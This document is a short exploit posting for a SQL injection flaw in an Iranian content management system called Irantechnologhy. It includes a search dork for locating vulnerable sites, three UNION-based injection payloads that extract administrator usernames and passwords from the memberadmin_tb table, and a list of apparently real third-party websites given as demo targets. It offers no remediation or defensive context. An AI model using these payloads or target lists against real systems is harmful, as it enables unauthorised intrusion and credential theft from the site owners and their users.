#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-# # Exploit Title: Irantechnologhy IRANIAN CMS SQL injection # Date: 2019-05-19 # Dork : [intext:"By Irantechnologhy" inurl:*id=] & [intext:"ایران تکنولوژی" inurl:*id=] # Exploit Author: S I R M A X # Vendor Homepage: http://www.iran-tech.com/ # Version: All Version # Tested on: win,linux ================================================================================= [SQL injection] [+] Method ( Sql injection ) Nullix Security Team of IRan [+] parameter : ID == php?ID= ================================================================================= Mode Hash : MD5 or NORMAL ================= [#] Testing Method: [+] - UNION query ================================================================================= -+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ Exploits ==> [*] 1 => id=-1 Union Select 1,2,(SELECT(@x)FROM(SELECT(@x:=0x00) ,(SELECT(@x)FROM(memberadmin_tb)WHERE(@x)IN(@x:=CONCAT(0x20,@x,0x75736572,0x203d3d3e20,m_u,0x3c62723e,0x70617373,0x203d3d3e20,m_p,0x3c62723e,0x3c62723e))))x),4,5,6,7,8,9,10,11--+ [*] 2 => id=-1' Union Select 1,(SELECT(@x)FROM(SELECT(@x:=0x00) ,(SELECT(@x)FROM(memberadmin_tb)WHERE(@x)IN(@x:=CONCAT(0x20,@x,0x75736572,0x203d3d3e20,m_u,0x3c62723e,0x70617373,0x203d3d3e20,m_p,0x3c62723e,0x3c62723e))))x),(SELECT(@x)FROM(SELECT(@x:=0x00) ,(SELECT(@x)FROM(memberadmin_tb)WHERE(@x)IN(@x:=CONCAT(0x20,@x,0x75736572,0x203d3d3e20,m_u,0x3c62723e,0x70617373,0x203d3d3e20,m_p,0x3c62723e,0x3c62723e))))x)--+ [*] 3 => id=1' union select 1,2,(SELECT(@x)FROM(SELECT(@x:=0x00) ,(SELECT(@x)FROM(memberadmin_tb)WHERE(@x)IN(@x:=CONCAT(0x20,@x,0x75736572,0x203d3d3e20,m_u,0x3c62723e,0x70617373,0x203d3d3e20,m_p,0x3c62723e,0x3c62723e))))x),(SELECT(@x)FROM(SELECT(@x:=0x00) ,(SELECT(@x)FROM(memberadmin_tb)WHERE(@x)IN(@x:=CONCAT(0x20,@x,0x75736572,0x203d3d3e20,m_u,0x3c62723e,0x70617373,0x203d3d3e20,m_p,0x3c62723e,0x3c62723e))))x),5,6,7--+ <=> Please test all 3 -+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ ================================================================================= Demo: [+] http://arianaagency.com/fa/user/temp.php?irantech_parvaz=1012&id=[SQL] [+] http://iagp.ir/fa/temp.php?page=1&id=[SQL] [+] https://karevan2000.com/fa/user/temp.php?irantech_parvaz=specific&id=[SQL] [+] http://merkid.ir/new/en/user/temp.php?irantech=1&id=[SQL] ================================================================================= [=] T.me/Sir_Max [=] Telegram Channel ==> @NullixTM [+] TNKS K0uR0sH3R #-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#